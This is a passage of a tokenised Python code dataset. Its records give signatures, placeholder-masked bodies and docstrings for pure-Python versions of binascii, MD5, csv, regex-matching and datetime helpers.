<NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return '<STR_LIT>'.join(odata)<EOL>", "docstring": "quotetabs=True means that tab and space characters are always\n       quoted.\n       istext=False means that \\r and \\n are treated as regular characters\n       header=True encodes space characters with '_' and requires\n       real '_' characters to be quoted.", "id": "f16489:m5"}
{"signature": "def rlecode_hqx(s):", "body": "if not s:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>result = []<EOL>prev = s[<NUM_LIT:0>]<EOL>count = <NUM_LIT:1><EOL>if s[-<NUM_LIT:1>] == '<STR_LIT:!>':<EOL><INDENT>s = s[<NUM_LIT:1>:] + '<STR_LIT:?>'<EOL><DEDENT>else:<EOL><INDENT>s = s[<NUM_LIT:1>:] + '<STR_LIT:!>'<EOL><DEDENT>for c in s:<EOL><INDENT>if c == prev and count < <NUM_LIT:255>:<EOL><INDENT>count += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if count == <NUM_LIT:1>:<EOL><INDENT>if prev != '<STR_LIT>':<EOL><INDENT>result.append(prev)<EOL><DEDENT>else:<EOL><INDENT>result += ['<STR_LIT>', '<STR_LIT:\\x00>']<EOL><DEDENT><DEDENT>elif count < <NUM_LIT:4>:<EOL><INDENT>if prev != '<STR_LIT>':<EOL><INDENT>result += [prev] * count<EOL><DEDENT>else:<EOL><INDENT>result += ['<STR_LIT>', '<STR_LIT:\\x00>'] * count<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if prev != '<STR_LIT>':<EOL><INDENT>result += [prev, '<STR_LIT>', chr(count)]<EOL><DEDENT>else:<EOL><INDENT>result += ['<STR_LIT>', '<STR_LIT:\\x00>', '<STR_LIT>', chr(count)]<EOL><DEDENT><DEDENT>count = <NUM_LIT:1><EOL>prev = c<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(result)<EOL>", "docstring": "Run length encoding for binhex4.\nThe CPython implementation does not do run length encoding\nof \\x90 characters. This implementation does.", "id": "f16489:m12"}
{"signature": "def _bytelist2long(list):", "body": "imax = len(list) // <NUM_LIT:4><EOL>hl = [<NUM_LIT:0>] * imax<EOL>j = <NUM_LIT:0><EOL>i = <NUM_LIT:0><EOL>while i < imax:<EOL><INDENT>b0 = ord(list[j])<EOL>b1 = ord(list[j + <NUM_LIT:1>]) << <NUM_LIT:8><EOL>b2 = ord(list[j + <NUM_LIT:2>]) << <NUM_LIT:16><EOL>b3 = ord(list[j + <NUM_LIT:3>]) << <NUM_LIT><EOL>hl[i] = b0 | b1 | b2 | b3<EOL>i = i + <NUM_LIT:1><EOL>j = j + <NUM_LIT:4><EOL><DEDENT>return hl<EOL>", "docstring": "Transform a list of characters into a list of longs.", "id": "f16490:m0"}
{"signature": "def _rotateLeft(x, n):", "body": "return (x << n) | (x >> (<NUM_LIT:32> - n))<EOL>", "docstring": "Rotate x (32 bit) left n bits circularly.", "id": "f16490:m1"}
{"signature": "def XX(func, a, b, c, d, x, s, ac):", "body": "res = <NUM_LIT:0><EOL>res = res + a + func(b, c, d)<EOL>res = res + x<EOL>res = res + ac<EOL>res = res & <NUM_LIT><EOL>res = _rotateLeft(res, s)<EOL>res = res & <NUM_LIT><EOL>res = res + b<EOL>return res & <NUM_LIT><EOL>", "docstring": "Wrapper for call distribution to functions F, G, H and I.\n\n    This replaces functions FF, GG, HH and II from \"Appl. Crypto.\"\n    Rotation is separate from addition to prevent recomputation\n    (now summed-up in one function).", "id": "f16490:m6"}
{"signature": "def new(arg=None):", "body": "crypto = MD5Type()<EOL>if arg:<EOL><INDENT>crypto.update(arg)<EOL><DEDENT>return crypto<EOL>", "docstring": "Return a new md5 crypto object.\n    If arg is present, the method call update(arg) is made.", "id": "f16490:m7"}
{"signature": "def __init__(self):", "body": "<EOL>self.length = <NUM_LIT:0><EOL>self.count = [<NUM_LIT:0>, <NUM_LIT:0>]<EOL>self.input = []<EOL>self.init()<EOL>", "docstring": "Initialisation.", "id": "f16490:c0:m0"}
{"signature": "def init(self):", "body": "self.length = <NUM_LIT:0><EOL>self.count = [<NUM_LIT:0>, <NUM_LIT:0>]<EOL>self.input = []<EOL>self.A = <NUM_LIT><EOL>self.B = <NUM_LIT><EOL>self.C = <NUM_LIT><EOL>self.D = <NUM_LIT><EOL>", "docstring": "Initialize the message-digest and set all fields to zero.code", "id": "f16490:c0:m1"}
{"signature": "def _transform(self, inp):", "body": "a, b, c, d = A, B, C, D = self.A, self.B, self.C, self.D<EOL>S11, S12, S13, S14 = <NUM_LIT:7>, <NUM_LIT:12>, <NUM_LIT>, <NUM_LIT><EOL>a = XX(F, a, b, c, d, inp[<NUM_LIT:0>], S11, <NUM_LIT>)  <EOL>d = XX(F, d, a, b, c, inp[<NUM_LIT:1>], S12, <NUM_LIT>)  <EOL>c = XX(F, c, d, a, b, inp[<NUM_LIT:2>], S13, <NUM_LIT>)  <EOL>b = XX(F, b, c, d, a, inp[<NUM_LIT:3>], S14, <NUM_LIT>)  <EOL>a = XX(F, a, b, c, d, inp[<NUM_LIT:4>], S11, <NUM_LIT>)  <EOL>d = XX(F, d, a, b, c, inp[<NUM_LIT:5>], S12, <NUM_LIT>)  <EOL>c = XX(F, c, d, a, b, inp[<NUM_LIT:6>], S13, <NUM_LIT>)  <EOL>b = XX(F, b, c, d, a, inp[<NUM_LIT:7>], S14, <NUM_LIT>)  <EOL>a = XX(F, a, b, c, d, inp[<NUM_LIT:8>], S11, <NUM_LIT>)  <EOL>d = XX(F, d, a, b, c, inp[<NUM_LIT:9>], S12, <NUM_LIT>)  <EOL>c = XX(F, c, d, a, b, inp[<NUM_LIT:10>], S13, <NUM_LIT>)  <EOL>b = XX(F, b, c, d, a, inp[<NUM_LIT:11>], S14, <NUM_LIT>)  <EOL>a = XX(F, a, b, c, d, inp[<NUM_LIT:12>], S11, <NUM_LIT>)  <EOL>d = XX(F, d, a, b, c, inp[<NUM_LIT>], S12, <NUM_LIT>)  <EOL>c = XX(F, c, d, a, b, inp[<NUM_LIT>], S13, <NUM_LIT>)  <EOL>b = XX(F, b, c, d, a, inp[<NUM_LIT:15>], S14, <NUM_LIT>)  <EOL>S21, S22, S23, S24 = <NUM_LIT:5>, <NUM_LIT:9>, <NUM_LIT>, <NUM_LIT:20><EOL>a = XX(G, a, b, c, d, inp[<NUM_LIT:1>], S21, <NUM_LIT>)  <EOL>d = XX(G, d, a, b, c, inp[<NUM_LIT:6>], S22, <NUM_LIT>)  <EOL>c = XX(G, c, d, a, b, inp[<NUM_LIT:11>], S23, <NUM_LIT>)  <EOL>b = XX(G, b, c, d, a, inp[<NUM_LIT:0>], S24, <NUM_LIT>)  <EOL>a = XX(G, a, b, c, d, inp[<NUM_LIT:5>], S21, <NUM_LIT>)  <EOL>d = XX(G, d, a, b, c, inp[<NUM_LIT:10>], S22, <NUM_LIT>)  <EOL>c = XX(G, c, d, a, b, inp[<NUM_LIT:15>], S23, <NUM_LIT>)  <EOL>b = XX(G, b, c, d, a, inp[<NUM_LIT:4>], S24, <NUM_LIT>)  <EOL>a = XX(G, a, b, c, d, inp[<NUM_LIT:9>], S21, <NUM_LIT>)  <EOL>d = XX(G, d, a, b, c, inp[<NUM_LIT>], S22, <NUM_LIT>)  <EOL>c = XX(G, c, d, a, b, inp[<NUM_LIT:3>], S23, <NUM_LIT>)  <EOL>b = XX(G, b, c, d, a, inp[<NUM_LIT:8>], S24, <NUM_LIT>)  <EOL>a = XX(G, a, b, c, d, inp[<NUM_LIT>], S21, <NUM_LIT>)  <EOL>d = XX(G, d, a, b, c, inp[<NUM_LIT:2>], S22, <NUM_LIT>)  <EOL>c = XX(G, c, d, a, b, inp[<NUM_LIT:7>], S23, <NUM_LIT>)  <EOL>b = XX(G, b, c, d, a, inp[<NUM_LIT:12>], S24, <NUM_LIT>)  <EOL>S31, S32, S33, S34 = <NUM_LIT:4>, <NUM_LIT:11>, <NUM_LIT:16>, <NUM_LIT><EOL>a = XX(H, a, b, c, d, inp[<NUM_LIT:5>], S31, <NUM_LIT>)  <EOL>d = XX(H, d, a, b, c, inp[<NUM_LIT:8>], S32, <NUM_LIT>)  <EOL>c = XX(H, c, d, a, b, inp[<NUM_LIT:11>], S33, <NUM_LIT>)  <EOL>b = XX(H, b, c, d, a, inp[<NUM_LIT>], S34, <NUM_LIT>)  <EOL>a = XX(H, a, b, c, d, inp[<NUM_LIT:1>], S31, <NUM_LIT>)  <EOL>d = XX(H, d, a, b, c, inp[<NUM_LIT:4>], S32, <NUM_LIT>)  <EOL>c = XX(H, c, d, a, b, inp[<NUM_LIT:7>], S33, <NUM_LIT>)  <EOL>b = XX(H, b, c, d, a, inp[<NUM_LIT:10>], S34, <NUM_LIT>)  <EOL>a = XX(H, a, b, c, d, inp[<NUM_LIT>], S31, <NUM_LIT>)  <EOL>d = XX(H, d, a, b, c, inp[<NUM_LIT:0>], S32, <NUM_LIT>)  <EOL>c = XX(H, c, d, a, b, inp[<NUM_LIT:3>], S33, <NUM_LIT>)  <EOL>b = XX(H, b, c, d, a, inp[<NUM_LIT:6>], S34, <NUM_LIT>)  <EOL>a = XX(H, a, b, c, d, inp[<NUM_LIT:9>], S31, <NUM_LIT>)  <EOL>d = XX(H, d, a, b, c, inp[<NUM_LIT:12>], S32, <NUM_LIT>)  <EOL>c = XX(H, c, d, a, b, inp[<NUM_LIT:15>], S33, <NUM_LIT>)  <EOL>b = XX(H, b, c, d, a, inp[<NUM_LIT:2>], S34, <NUM_LIT>)  <EOL>S41, S42, S43, S44 = <NUM_LIT:6>, <NUM_LIT:10>, <NUM_LIT:15>, <NUM_LIT><EOL>a = XX(I, a, b, c, d, inp[<NUM_LIT:0>], S41, <NUM_LIT>)  <EOL>d = XX(I, d, a, b, c, inp[<NUM_LIT:7>], S42, <NUM_LIT>)  <EOL>c = XX(I, c, d, a, b, inp[<NUM_LIT>], S43, <NUM_LIT>)  <EOL>b = XX(I, b, c, d, a, inp[<NUM_LIT:5>], S44, <NUM_LIT>)  <EOL>a = XX(I, a, b, c, d, inp[<NUM_LIT:12>], S41, <NUM_LIT>)  <EOL>d = XX(I, d, a, b, c, inp[<NUM_LIT:3>], S42, <NUM_LIT>)  <EOL>c = XX(I, c, d, a, b, inp[<NUM_LIT:10>], S43, <NUM_LIT>)  <EOL>b = XX(I, b, c, d, a, inp[<NUM_LIT:1>], S44, <NUM_LIT>)  <EOL>a = XX(I, a, b, c, d, inp[<NUM_LIT:8>], S41, <NUM_LIT>)  <EOL>d = XX(I, d, a, b, c, inp[<NUM_LIT:15>], S42, <NUM_LIT>)  <EOL>c = XX(I, c, d, a, b, inp[<NUM_LIT:6>], S43, <NUM_LIT>)  <EOL>b = XX(I, b, c, d, a, inp[<NUM_LIT>], S44, <NUM_LIT>)  <EOL>a = XX(I, a, b, c, d, inp[<NUM_LIT:4>], S41, <NUM_LIT>)  <EOL>d = XX(I, d, a, b, c, inp[<NUM_LIT:11>], S42, <NUM_LIT>)  <EOL>c = XX(I, c, d, a, b, inp[<NUM_LIT:2>], S43, <NUM_LIT>)  <EOL>b = XX(I, b, c, d, a, inp[<NUM_LIT:9>], S44, <NUM_LIT>)  <EOL>A = (A + a) & <NUM_LIT><EOL>B = (B + b) & <NUM_LIT><EOL>C = (C + c) & <NUM_LIT><EOL>D = (D + d) & <NUM_LIT><EOL>self.A, self.B, self.C, self.D = A, B, C, D<EOL>", "docstring": "Basic MD5 step transforming the digest based on the input.\n\n        Note that if the Mysterious Constants are arranged backwards\n        in little-endian order and decrypted with the DES they produce\n        OCCULT MESSAGES!", "id": "f16490:c0:m2"}
{"signature": "def update(self, inBuf):", "body": "leninBuf = len(inBuf)<EOL>index = (self.count[<NUM_LIT:0>] >> <NUM_LIT:3>) & <NUM_LIT><EOL>self.count[<NUM_LIT:0>] = self.count[<NUM_LIT:0>] + (leninBuf << <NUM_LIT:3>)<EOL>if self.count[<NUM_LIT:0>] < (leninBuf << <NUM_LIT:3>):<EOL><INDENT>self.count[<NUM_LIT:1>] = self.count[<NUM_LIT:1>] + <NUM_LIT:1><EOL><DEDENT>self.count[<NUM_LIT:1>] = self.count[<NUM_LIT:1>] + (leninBuf >> <NUM_LIT>)<EOL>partLen = <NUM_LIT:64> - index<EOL>if leninBuf >= partLen:<EOL><INDENT>self.input[index:] = list(inBuf[:partLen])<EOL>self._transform(_bytelist2long(self.input))<EOL>i = partLen<EOL>while i + <NUM_LIT> < leninBuf:<EOL><INDENT>self._transform(_bytelist2long(list(inBuf[i:i + <NUM_LIT:64>])))<EOL>i = i + <NUM_LIT:64><EOL><DEDENT>else:<EOL><INDENT>self.input = list(inBuf[i:leninBuf])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>i = <NUM_LIT:0><EOL>self.input = self.input + list(inBuf)<EOL><DEDENT>", "docstring": "Add to the current message.\n\n        Update the md5 object with the string arg. Repeated calls\n        are equivalent to a single call with the concatenation of all\n        the arguments, i.e. m.update(a); m.update(b) is equivalent\n        to m.update(a+b).\n\n        The hash is immediately calculated for all full blocks. The final\n        calculation is made in digest(). This allows us to keep an\n        intermediate value for the hash, so that we only need to make\n        minimal recalculation if we call update() to add moredata to\n        the hashed string.", "id": "f16490:c0:m3"}
{"signature": "def digest(self):", "body": "A = self.A<EOL>B = self.B<EOL>C = self.C<EOL>D = self.D<EOL>input = [] + self.input<EOL>count = [] + self.count<EOL>index = (self.count[<NUM_LIT:0>] >> <NUM_LIT:3>) & <NUM_LIT><EOL>if index < <NUM_LIT>:<EOL><INDENT>padLen = <NUM_LIT> - index<EOL><DEDENT>else:<EOL><INDENT>padLen = <NUM_LIT> - index<EOL><DEDENT>padding = [b'<STR_LIT>'] + [b'<STR_LIT>'] * <NUM_LIT><EOL>self.update(padding[:padLen])<EOL>bits = _bytelist2long(self.input[:<NUM_LIT>]) + count<EOL>self._transform(bits)<EOL>digest = struct.pack(\"<STR_LIT>\", self.A, self.B, self.C, self.D)<EOL>self.A = A<EOL>self.B = B<EOL>self.C = C<EOL>self.D = D<EOL>self.input = input<EOL>self.count = count<EOL>return digest<EOL>", "docstring": "Terminate the message-digest computation and return digest.\n\n        Return the digest of the strings passed to the update()\n        method so far. This is a 16-byte string which may contain\n        non-ASCII characters, including null bytes.", "id": "f16490:c0:m4"}
{"signature": "def hexdigest(self):", "body": "return '<STR_LIT>'.join([('<STR_LIT:0>' + hex(ord(c))[<NUM_LIT:2>:])[-<NUM_LIT:2>:] for c in self.digest()])<EOL>", "docstring": "Terminate and return digest in HEX form.\n\n        Like digest() except the digest is returned as a string of\n        length 32, containing only hexadecimal digits. This may be\n        used to exchange the value safely in email or other non-\n        binary environments.", "id": "f16490:c0:m5"}
{"signature": "def copy(self):", "body": "if <NUM_LIT:0>:  <EOL><INDENT>return copy.deepcopy(self)<EOL><DEDENT>clone = self.__class__()<EOL>clone.length = self.length<EOL>clone.count = [] + self.count[:]<EOL>clone.input = [] + self.input<EOL>clone.A = self.A<EOL>clone.B = self.B<EOL>clone.C = self.C<EOL>clone.D = self.D<EOL>return clone<EOL>", "docstring": "Return a clone object.\n\n        Return a copy ('clone') of the md5 object. This can be used\n        to efficiently compute the digests of strings that share\n        a common initial substring.", "id": "f16490:c0:m6"}
{"signature": "def register_dialect(name, dialect=None, **kwargs):", "body": "if not isinstance(name, basestring):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>dialect = _call_dialect(dialect, kwargs)<EOL>_dialects[name] = dialect<EOL>", "docstring": "Create a mapping from a string name to a dialect class.\n    dialect = csv.register_dialect(name, dialect)", "id": "f16493:m1"}
{"signature": "def unregister_dialect(name):", "body": "try:<EOL><INDENT>del _dialects[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise Error(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Delete the name/dialect mapping associated with a string name.\\n\n    csv.unregister_dialect(name)", "id": "f16493:m2"}
{"signature": "def get_dialect(name):", "body": "try:<EOL><INDENT>return _dialects[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise Error(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Return the dialect instance associated with name.\n    dialect = csv.get_dialect(name)", "id": "f16493:m3"}
{"signature": "def list_dialects():", "body": "return list(_dialects)<EOL>", "docstring": "Return a list of all know dialect names\n    names = csv.list_dialects()", "id": "f16493:m4"}
{"signature": "def reader(*args, **kwargs):", "body": "return Reader(*args, **kwargs)<EOL>", "docstring": "csv_reader = reader(iterable [, dialect='excel']\n                   [optional keyword args])\nfor row in csv_reader:\n    process(row)\n\nThe \"iterable\" argument can be any object that returns a line\nof input for each iteration, such as a file object or a list.  The\noptional \\\"dialect\\\" parameter is discussed below.  The function\nalso accepts optional keyword arguments which override settings\nprovided by the dialect.\n\nThe returned object is an iterator.  Each iteration returns a row\nof the CSV file (which can span multiple input lines)", "id": "f16493:m5"}
{"signature": "def writer(*args, **kwargs):", "body": "return Writer(*args, **kwargs)<EOL>", "docstring": "csv_writer = csv.writer(fileobj [, dialect='excel']\n                        [optional keyword args])\nfor row in sequence:\n    csv_writer.writerow(row)\n\n[or]\n\ncsv_writer = csv.writer(fileobj [, dialect='excel']\n                        [optional keyword args])\ncsv_writer.writerows(rows)\n\nThe \\\"fileobj\\\" argument can be any object that supports the file API.", "id": "f16493:m6"}
{"signature": "def field_size_limit(limit=undefined):", "body": "global _field_limit<EOL>old_limit = _field_limit<EOL>if limit is not undefined:<EOL><INDENT>if not isinstance(limit, (int, long)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" %<EOL>(limit.__class__.__name__,))<EOL><DEDENT>_field_limit = limit<EOL><DEDENT>return old_limit<EOL>", "docstring": "Sets an upper limit on parsed fields.\n    csv.field_size_limit([limit])\n\n    Returns old limit. If limit is not given, no new limit is set and\n    the old limit is returned", "id": "f16493:m7"}
{"signature": "def compile(pattern, flags, code, groups=<NUM_LIT:0>, groupindex={}, indexgroup=[None]):", "body": "return SRE_Pattern(pattern, flags, code, groups, groupindex, indexgroup)<EOL>", "docstring": "Compiles (or rather just converts) a pattern descriptor to a SRE_Pattern\n    object. Actual compilation to opcodes happens in sre_compile.", "id": "f16494:m1"}
{"signature": "def match(self, string, pos=<NUM_LIT:0>, endpos=sys.maxsize):", "body": "state = _State(string, pos, endpos, self.flags)<EOL>if state.match(self._code):<EOL><INDENT>return SRE_Match(self, state)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "If zero or more characters at the beginning of string match this\n        regular expression, return a corresponding MatchObject instance. Return\n        None if the string does not match the pattern.", "id": "f16494:c0:m1"}
{"signature": "def search(self, string, pos=<NUM_LIT:0>, endpos=sys.maxsize):", "body": "state = _State(string, pos, endpos, self.flags)<EOL>if state.search(self._code):<EOL><INDENT>return SRE_Match(self, state)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Scan through string looking for a location where this regular\n        expression produces a match, and return a corresponding MatchObject\n        instance. Return None if no position in the string matches the\n        pattern.", "id": "f16494:c0:m2"}
{"signature": "def findall(self, string, pos=<NUM_LIT:0>, endpos=sys.maxsize):", "body": "matchlist = []<EOL>state = _State(string, pos, endpos, self.flags)<EOL>while state.start <= state.end:<EOL><INDENT>state.reset()<EOL>state.string_position = state.start<EOL>if not state.search(self._code):<EOL><INDENT>break<EOL><DEDENT>match = SRE_Match(self, state)<EOL>if self.groups == <NUM_LIT:0> or self.groups == <NUM_LIT:1>:<EOL><INDENT>item = match.group(self.groups)<EOL><DEDENT>else:<EOL><INDENT>item = match.groups(\"<STR_LIT>\")<EOL><DEDENT>matchlist.append(item)<EOL>if state.string_position == state.start:<EOL><INDENT>state.start += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>state.start = state.string_position<EOL><DEDENT><DEDENT>return matchlist<EOL>", "docstring": "Return a list of all non-overlapping matches of pattern in string.", "id": "f16494:c0:m3"}
{"signature": "def sub(self, repl, string, count=<NUM_LIT:0>):", "body": "return self._subx(repl, string, count, False)<EOL>", "docstring": "Return the string obtained by replacing the leftmost non-overlapping\n        occurrences of pattern in string by the replacement repl.", "id": "f16494:c0:m5"}
{"signature": "def subn(self, repl, string, count=<NUM_LIT:0>):", "body": "return self._subx(repl, string, count, True)<EOL>", "docstring": "Return the tuple (new_string, number_of_subs_made) found by replacing\n        the leftmost non-overlapping occurrences of pattern with the replacement\n        repl.", "id": "f16494:c0:m6"}
{"signature": "def split(self, string, maxsplit=<NUM_LIT:0>):", "body": "splitlist = []<EOL>state = _State(string, <NUM_LIT:0>, sys.maxsize, self.flags)<EOL>n = <NUM_LIT:0><EOL>last = state.start<EOL>while not maxsplit or n < maxsplit:<EOL><INDENT>state.reset()<EOL>state.string_position = state.start<EOL>if not state.search(self._code):<EOL><INDENT>break<EOL><DEDENT>if state.start == state.string_position: <EOL><INDENT>if last == state.end:                <EOL><INDENT>break<EOL><DEDENT>state.start += <NUM_LIT:1><EOL>continue<EOL><DEDENT>splitlist.append(string[last:state.start])<EOL>if self.groups:<EOL><INDENT>match = SRE_Match(self, state)<EOL>splitlist += (list(match.groups(None)))<EOL><DEDENT>n += <NUM_LIT:1><EOL>last = state.start = state.string_position<EOL><DEDENT>splitlist.append(string[last:state.end])<EOL>return splitlist<EOL>", "docstring": "Split string by the occurrences of pattern.", "id": "f16494:c0:m7"}
{"signature": "def finditer(self, string, pos=<NUM_LIT:0>, endpos=sys.maxsize):", "body": "scanner = self.scanner(string, pos, endpos)<EOL>return iter(scanner.search, None)<EOL>", "docstring": "Return a list of all non-overlapping matches of pattern in string.", "id": "f16494:c0:m8"}
{"signature": "def _create_regs(self, state):", "body": "regs = [(state.start, state.string_position)]<EOL>for group in range(self.re.groups):<EOL><INDENT>mark_index = <NUM_LIT:2> * group<EOL>if mark_index + <NUM_LIT:1> < len(state.marks)and state.marks[mark_index] is not Noneand state.marks[mark_index + <NUM_LIT:1>] is not None:<EOL><INDENT>regs.append((state.marks[mark_index], state.marks[mark_index + <NUM_LIT:1>]))<EOL><DEDENT>else:<EOL><INDENT>regs.append((-<NUM_LIT:1>, -<NUM_LIT:1>))<EOL><DEDENT><DEDENT>return tuple(regs)<EOL>", "docstring": "Creates a tuple of index pairs representing matched groups.", "id": "f16494:c2:m1"}
{"signature": "def start(self, group=<NUM_LIT:0>):", "body": "return self.regs[self._get_index(group)][<NUM_LIT:0>]<EOL>", "docstring": "Returns the indices of the start of the substring matched by group;\n        group defaults to zero (meaning the whole matched substring). Returns -1\n        if group exists but did not contribute to the match.", "id": "f16494:c2:m4"}
{"signature": "def end(self, group=<NUM_LIT:0>):", "body": "return self.regs[self._get_index(group)][<NUM_LIT:1>]<EOL>", "docstring": "Returns the indices of the end of the substring matched by group;\n        group defaults to zero (meaning the whole matched substring). Returns -1\n        if group exists but did not contribute to the match.", "id": "f16494:c2:m5"}
{"signature": "def span(self, group=<NUM_LIT:0>):", "body": "return self.start(group), self.end(group)<EOL>", "docstring": "Returns the 2-tuple (m.start(group), m.end(group)).", "id": "f16494:c2:m6"}
{"signature": "def expand(self, template):", "body": "raise NotImplementedError<EOL>", "docstring": "Return the string obtained by doing backslash substitution and\n        resolving group references on template.", "id": "f16494:c2:m7"}
{"signature": "def groups(self, default=None):", "body": "groups = []<EOL>for indices in self.regs[<NUM_LIT:1>:]:<EOL><INDENT>if indices[<NUM_LIT:0>] >= <NUM_LIT:0>:<EOL><INDENT>groups.append(self.string[indices[<NUM_LIT:0>]:indices[<NUM_LIT:1>]])<EOL><DEDENT>else:<EOL><INDENT>groups.append(default)<EOL><DEDENT><DEDENT>return tuple(groups)<EOL>", "docstring": "Returns a tuple containing all the subgroups of the match. The\n        default argument is used for groups that did not participate in the\n        match (defaults to None).", "id": "f16494:c2:m8"}
{"signature": "def groupdict(self, default=None):", "body": "groupdict = {}<EOL>for key, value in list(self.re.groupindex.items()):<EOL><INDENT>groupdict[key] = self._get_slice(value, default)<EOL><DEDENT>return groupdict<EOL>", "docstring": "Return a dictionary containing all the named subgroups of the match.\n        The default argument is used for groups that did not participate in the\n        match (defaults to None).", "id": "f16494:c2:m9"}
{"signature": "def group(self, *args):", "body": "if len(args) == <NUM_LIT:0>:<EOL><INDENT>args = (<NUM_LIT:0>,)<EOL><DEDENT>grouplist = []<EOL>for group in args:<EOL><INDENT>grouplist.append(self._get_slice(self._get_index(group), None))<EOL><DEDENT>if len(grouplist) == <NUM_LIT:1>:<EOL><INDENT>return grouplist[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return tuple(grouplist)<EOL><DEDENT>", "docstring": "Returns one or more subgroups of the match. Each argument is either a\n        group index or a group name.", "id": "f16494:c2:m10"}
{"signature": "def fast_search(self, pattern_codes):", "body": "<EOL>flags = pattern_codes[<NUM_LIT:2>]<EOL>prefix_len = pattern_codes[<NUM_LIT:5>]<EOL>prefix_skip = pattern_codes[<NUM_LIT:6>] <EOL>prefix = pattern_codes[<NUM_LIT:7>:<NUM_LIT:7> + prefix_len]<EOL>overlap = pattern_codes[<NUM_LIT:7> + prefix_len - <NUM_LIT:1>:pattern_codes[<NUM_LIT:1>] + <NUM_LIT:1>]<EOL>pattern_codes = pattern_codes[pattern_codes[<NUM_LIT:1>] + <NUM_LIT:1>:]<EOL>i = <NUM_LIT:0><EOL>string_position = self.string_position<EOL>while string_position < self.end:<EOL><INDENT>while True:<EOL><INDENT>if ord(self.string[string_position]) != prefix[i]:<EOL><INDENT>if i == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>i = overlap[i]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL>if i == prefix_len:<EOL><INDENT>self.start = string_position + <NUM_LIT:1> - prefix_len<EOL>self.string_position = string_position + <NUM_LIT:1>- prefix_len + prefix_skip<EOL>if flags & SRE_INFO_LITERAL:<EOL><INDENT>return True <EOL><DEDENT>if self.match(pattern_codes[<NUM_LIT:2> * prefix_skip:]):<EOL><INDENT>return True<EOL><DEDENT>i = overlap[i]<EOL><DEDENT>break<EOL><DEDENT><DEDENT>string_position += <NUM_LIT:1><EOL><DEDENT>return False<EOL>", "docstring": "Skips forward in a string as fast as possible using information from\n        an optimization info block.", "id": "f16494:c3:m4"}
{"signature": "def push_new_context(self, pattern_offset):", "body": "child_context = _MatchContext(self.state,<EOL>self.pattern_codes[self.code_position + pattern_offset:])<EOL>self.state.context_stack.append(child_context)<EOL>return child_context<EOL>", "docstring": "Creates a new child context of this context and pushes it on the\n        stack. pattern_offset is the offset off the current code position to\n        start interpreting from.", "id": "f16494:c4:m1"}
{"signature": "def match(self, context):", "body": "while context.remaining_codes() > <NUM_LIT:0> and context.has_matched is None:<EOL><INDENT>opcode = context.peek_code()<EOL>if not self.dispatch(opcode, context):<EOL><INDENT>return None<EOL><DEDENT><DEDENT>if context.has_matched is None:<EOL><INDENT>context.has_matched = False<EOL><DEDENT>return context.has_matched<EOL>", "docstring": "Returns True if the current context matches, False if it doesn't and\n        None if matching is not finished, ie must be resumed after child\n        contexts have been matched.", "id": "f16494:c7:m1"}
{"signature": "def dispatch(self, opcode, context):", "body": "if id(context) in self.executing_contexts:<EOL><INDENT>generator = self.executing_contexts[id(context)]<EOL>del self.executing_contexts[id(context)]<EOL>has_finished = next(generator)<EOL><DEDENT>else:<EOL><INDENT>method = self.DISPATCH_TABLE.get(opcode, _OpcodeDispatcher.unknown)<EOL>has_finished = method(self, context)<EOL>if hasattr(has_finished, \"<STR_LIT>\"): <EOL><INDENT>generator = has_finished<EOL>has_finished = next(generator)<EOL><DEDENT><DEDENT>if not has_finished:<EOL><INDENT>self.executing_contexts[id(context)] = generator<EOL><DEDENT>return has_finished<EOL>", "docstring": "Dispatches a context on a given opcode. Returns True if the context\n        is done matching, False if it must be resumed when next encountered.", "id": "f16494:c7:m2"}
{"signature": "def check_charset(self, ctx, char):", "body": "self.set_dispatcher.reset(char)<EOL>save_position = ctx.code_position<EOL>result = None<EOL>while result is None:<EOL><INDENT>result = self.set_dispatcher.dispatch(ctx.peek_code(), ctx)<EOL><DEDENT>ctx.code_position = save_position<EOL>return result<EOL>", "docstring": "Checks whether a character matches set of arbitrary length. Assumes\n        the code pointer is at the first member of the set.", "id": "f16494:c7:m32"}
{"signature": "def count_repetitions(self, ctx, maxcount):", "body": "count = <NUM_LIT:0><EOL>real_maxcount = ctx.state.end - ctx.string_position<EOL>if maxcount < real_maxcount and maxcount != MAXREPEAT:<EOL><INDENT>real_maxcount = maxcount<EOL><DEDENT>code_position = ctx.code_position<EOL>string_position = ctx.string_position<EOL>ctx.skip_code(<NUM_LIT:4>)<EOL>reset_position = ctx.code_position<EOL>while count < real_maxcount:<EOL><INDENT>ctx.code_position = reset_position<EOL>self.dispatch(ctx.peek_code(), ctx)<EOL>if ctx.has_matched is False: <EOL><INDENT>break<EOL><DEDENT>count += <NUM_LIT:1><EOL><DEDENT>ctx.has_matched = None<EOL>ctx.code_position = code_position<EOL>ctx.string_position = string_position<EOL>return count<EOL>", "docstring": "Returns the number of repetitions of a single item, starting from the\n        current string position. The code pointer is expected to point to a\n        REPEAT_ONE operation (with the repeated 4 ahead).", "id": "f16494:c7:m33"}
{"signature": "def _is_leap(year):", "body": "return year % <NUM_LIT:4> == <NUM_LIT:0> and (year % <NUM_LIT:100> != <NUM_LIT:0> or year % <NUM_LIT> == <NUM_LIT:0>)<EOL>", "docstring": "year -> 1 if leap year, else 0.", "id": "f16496:m3"}
{"signature": "def _days_before_year(year):", "body": "y = year - <NUM_LIT:1><EOL>return y*<NUM_LIT> + y//<NUM_LIT:4> - y//<NUM_LIT:100> + y//<NUM_LIT><EOL>", "docstring": "year -> number of days before January 1st of year.", "id": "f16496:m4"}
